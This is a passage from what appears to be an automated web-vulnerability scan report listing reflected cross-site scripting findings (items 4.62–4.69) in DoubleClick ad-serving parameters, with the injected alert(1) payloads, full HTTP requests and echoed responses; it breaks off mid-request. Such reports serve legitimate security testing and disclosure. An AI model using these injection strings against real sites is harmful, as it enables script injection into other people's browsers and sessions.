Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:17:21 GMT
Content-Length: 7140



<script src="http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...
8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1c67b6"-alert(1)-"4472742a4be&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
va
...[SNIP]...

4.62. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53df6"-alert(1)-"7d154b67633 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg53df6"-alert(1)-"7d154b67633&client=ca-pub-5220960495122375&adurl=;ord=628818073? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:29 GMT
Content-Length: 7140



<script src="http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...
aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg53df6"-alert(1)-"7d154b67633&client=ca-pub-5220960495122375&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var
...[SNIP]...

4.63. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7d20"-alert(1)-"4c91bebcb48 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=lf7d20"-alert(1)-"4c91bebcb48&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=;ord=628818073? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:15:58 GMT
Content-Length: 38065

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
roughUrl = "http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/1e4/%2a/e%3B235864053%3B3-0%3B0%3B59652986%3B3454-728/90%3B41358607/41376394/3%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=lf7d20"-alert(1)-"4c91bebcb48&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4
...[SNIP]...

4.64. http://ad.doubleclick.net/adi/N5371.media6/B5451956.2 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5371.media6/B5451956.2

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b3ec"-alert(1)-"f32f8972223 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5371.media6/B5451956.2;sz=160x600;ord=1305034255602;click0=http://ad.media6degrees.com/adserv/clk?tId=4736041399105670|cId=6522|secId=2834|height=600|pubId=2|advId=1065|width=160|spId=33080|invId=4139|adType=iframe|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l2b3ec"-alert(1)-"f32f8972223&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:04:24 GMT
Content-Length: 6710

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
edia6degrees.com/adserv/clk?tId=4736041399105670|cId=6522|secId=2834|height=600|pubId=2|advId=1065|width=160|spId=33080|invId=4139|adType=iframe|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l2b3ec"-alert(1)-"f32f8972223&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5r
...[SNIP]...

4.65. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_a parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _a request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f184'-alert(1)-'d20d82d01ea was submitted in the _a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=177640292f184'-alert(1)-'d20d82d01ea&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:19:40 GMT
Content-Length: 4613

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
8434/728x90-casio-dart.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=177640292f184'-alert(1)-'d20d82d01ea&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Dartboard%26utm_campa
...[SNIP]...

4.66. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_d parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _d request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90259'-alert(1)-'c46415e17a8 was submitted in the _d parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=1776733990259'-alert(1)-'c46415e17a8&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:21:12 GMT
Content-Length: 4501

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
if';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=1776733990259'-alert(1)-'c46415e17a8&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26utm_campaign%3Dtryx';
var target = '_blank';
var dcb
...[SNIP]...

4.67. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_eo parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _eo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e00d9'-alert(1)-'5e7e617a6b6 was submitted in the _eo parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786e00d9'-alert(1)-'5e7e617a6b6&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:06 GMT
Content-Length: 4501

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
dcgif = 'http://s0.2mdn.net/3178434/Casio-728x90.gif';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786e00d9'-alert(1)-'5e7e617a6b6&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26u
...[SNIP]...

4.68. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_et parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _et request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b1550'-alert(1)-'e5cd9c84292 was submitted in the _et parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666b1550'-alert(1)-'e5cd9c84292&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:18:50 GMT
Content-Length: 4613

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
2mdn.net/3178434/728x90-casio-dart.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666b1550'-alert(1)-'e5cd9c84292&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Dartboard
...[SNIP]...

4.69. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_o parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _o request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3020'-alert(1)-'c57a392fa28 was submitted in the _o parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803e3020'-alert(1)-'c57a392fa28&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
